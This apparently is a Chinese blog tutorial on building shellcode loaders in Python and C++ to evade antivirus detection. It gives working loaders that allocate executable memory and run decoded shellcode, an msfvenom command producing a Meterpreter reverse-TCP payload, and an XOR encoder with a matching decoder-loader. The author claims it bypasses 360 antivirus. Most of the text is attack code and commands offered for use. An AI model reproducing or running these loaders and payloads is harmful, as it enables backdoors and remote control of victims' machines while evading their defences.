各种语言实现Shellcode加载(暂时两种)
原理:使用Shellcode和加载器分离的方法,方法很low,但是值得尝试
Python
参考自K8
#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Shellcode混合加密
造轮子,造轮子QAQ(K8师傅的那个已经过不了检测了)
import ctypes
import sys
import random
from argparse import ArgumentParser,FileType
import base64
#decode = sys.argv[1].decode("hex")
def Decode(QAQ,str):
for Mikasa in QAQ[::-1]:
print(Mikasa)
if Mikasa=="base64" :
str=base64.b64decode(str)
pass
if Mikasa=="base32":
str=base64.b32decode(str)
if Mikasa=="hex":
str=str.decode('hex')
return str
def start(decode):
str=bytearray()
num=len(decode)
if "Mikasa"=="Mikasa" :
for test in num:
str=str+bytearray(decode[test])
pass
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(num),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(str)).from_buffer(str)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(str)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def main():
parser=ArgumentParser()
parser.add_argument('-d','--decode',dest="list",nargs='+',help="Decode")
parser.add_argument('-s','--secret',type=str,help="Your Secret")
args=parser.parse_args()
#print(args.list,args.secret)
True_Secret=Decode(args.list,args.secret)
start(True_Secret)
pass
if __name__ == "__main__":
main()
编译
参考文章下载环境
https://www.cnblogs.com/backlion/p/6785870.html
python PyInstaller.py --console --onefile shellcode_load.py
用法的话则是
假设你的shellcode经过 base64 hex 加密后
则为 shellcode_load.exe -d base64 hex -s xxx
结果如下
虽然VT检出率挺高的但是过360还是可以的


估计动态免杀是过不了的
参考资料
https://www.cnblogs.com/k8gege/p/11223393.html
https://www.cnblogs.com/backlion/p/6785870.html
C/C++语言实现Shellcode
加载Shellcode的代码
#include <Windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv){
char ShellCode[] = "\0x0x0x0x0x0x0x......"; // ShellCode 填充到这里。
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
return 0;
}
C++这些东西还是不太懂得,大约就是申请虚拟内存,将shellcode拷贝进去,再将exec指针转换为函数指针并且执行(我的c++确实不太行,有大佬知道的请务必告诉我)

当然你还可以用命令行实现,使用argv参数来达到命令行读取的效果
执行netstat -ano可以看见我们监听的端口

但是因为shellcode本身的特征比较明显,杀毒软件很容易定位到
异或编码绕过
先使用msf制造raw格式的shellcode文件
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx lport=12345 -f raw > 1.raw
#-*- coding:utf-8 -*-
import sys
from argparse import ArgumentParser,FileType
def Xor_Encode(src_file,dst_file,num):
Shellcode=''
Shellcode_Size=0
try :
while True:
code=src_file.read(1)
if not code:
break
test=ord(code)^num
test_hex=hex(test)
test_hex=test_hex.replace("0x","")
if len(test_hex)==1 :
test_hex='0'+test_hex
Shellcode+='\\x'+test_hex
Shellcode_Size+=1
src_file.close()
dst_file.write(Shellcode)
dst_file.close()
return Shellcode_Size
except Exception as e:
sys.stderr.writelines(str(e))
pass
def main():
parser=ArgumentParser(prog="Shellcode Test",description="Encode In Raw SHellcode")
parser.add_argument('-s','--src',type=FileType('rb'),required=True)
parser.add_argument('-d','--dst',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',type=int,default=44)
Mikasa=parser.parse_args()
print(Xor_Encode(Mikasa.src,Mikasa.dst,Mikasa.num))
if __name__ == "__main__":
main()
pass
使用python3 xxx.py -s 1.raw -d 1.txt -n 44
就会在1.txt生成与44异或的shellcode

放进里面试试
// shellcode_load.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include<iostream>
using namespace std;
int main(int argc, char **argv) {
unsigned char buf[] ="";//Shellcode
cout << sizeof buf << endl;
for (int i = 0; i < sizeof(buf); i++)
{
buf[i] = buf[i] ^ 44;
}
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

免杀360了,确实很简单,如果可以的话还可以做成像Python那样的多种加密的形式
扩展
还可以利用Socket来动态加载Shellcode,这种方式更加隐蔽(代码功底不是很好emmmm)
参考资料
https://payloads.online/archivers/2019-11-10/1 脚本就是参考这里面的
https://www.cnblogs.com/LyShark/p/11335999.html
总结
静态免杀很容易,难的是动态,难的是持久